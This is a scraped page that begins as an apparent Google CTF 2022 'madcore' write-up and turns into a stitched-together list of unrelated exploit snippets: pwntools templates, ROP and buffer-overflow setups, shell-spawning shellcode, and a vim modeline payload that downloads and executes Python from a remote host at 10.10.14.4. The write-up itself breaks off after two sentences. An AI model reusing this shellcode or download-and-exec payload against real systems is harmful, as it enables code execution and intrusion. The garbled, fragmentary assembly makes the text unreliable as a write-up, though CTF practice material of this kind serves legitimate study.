madcore was a pwn task from [Google CTF 2022][googlectf]. It is a coredump helper
that parses the input as coredump file and produces some results.
We are provided with few files:
Dockerfile
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| # This exploit template was generated via: | |
| # $ pwn template ezvm | |
| from pwn import * | |
| HOST, PORT = "47.252.3.1 40241".split() | |
| # Set up pwntools for the correct architecture | |
| exe = context.binary = ELF('ezvm') |
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| # This exploit template was generated via: | |
| # $ template template | |
| import re | |
| import time | |
| from pwn import * | |
| from struct import pack, unpack | |
| from binascii import hexlify |
| :!python2 -c "import requests;exec(requests.get('http://10.10.14.4:8080/code.py').text);"||" vim:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" |
| import struct | |
| from pwn import ELF, p64, context | |
| from base64 import b64encode | |
| # FILE = './authkeys' | |
| # BINARY = ELF(FILE) | |
| OFFSET = 776 | |
| PUBLIC_KEY = open('./id_rsa.pub', 'rb').read()[:-1] | |
| SET_EAX = 0x00400394 |
| #include <time.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <openssl/md5.h> | |
| char* str2md5(const char *str, int length) { | |
| int n; |
| #!/usr/bin/env python3 | |
| import sys | |
| import time | |
| import socket | |
| import threading | |
| import requests | |
| from ftplib import FTP_TLS | |
| from bs4 import BeautifulSoup | |
| from termcolor import colored |
| #!/usr/bin/env python3 | |
| from pwn import ELF, process, log, p64, ROP, context, remote | |
| context.clear(arch='amd64') | |
| BIN_NAME = 'myapp' | |
| BINARY = ELF(BIN_NAME) | |
| rop = ROP(BINARY) |
| #!/usr/bin/env python3 | |
| from pwn import ssh, log, p32 | |
| LOCAL_PAYLOAD = 'payload' | |
| REMOTE_PAYLOAD = '/tmp/payload' | |
| SHELLCODE = b'\x90\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' | |
| # get the address executing | |
| # thrasivoulos@Sneaky:/usr/local/bin$ ltrace ./chal `cat /tmp/payload` |
| #!/usr/bin/env python3 | |
| import re | |
| from pwn import ELF, process, context, log, ssh, p32, u32 | |
| # name of local and remote files with payloads | |
| FILENAME = '/tmp/payload' | |
| # name of binary on the remote machine | |
| BINARY = '/home/xalvas/app/goodluck' |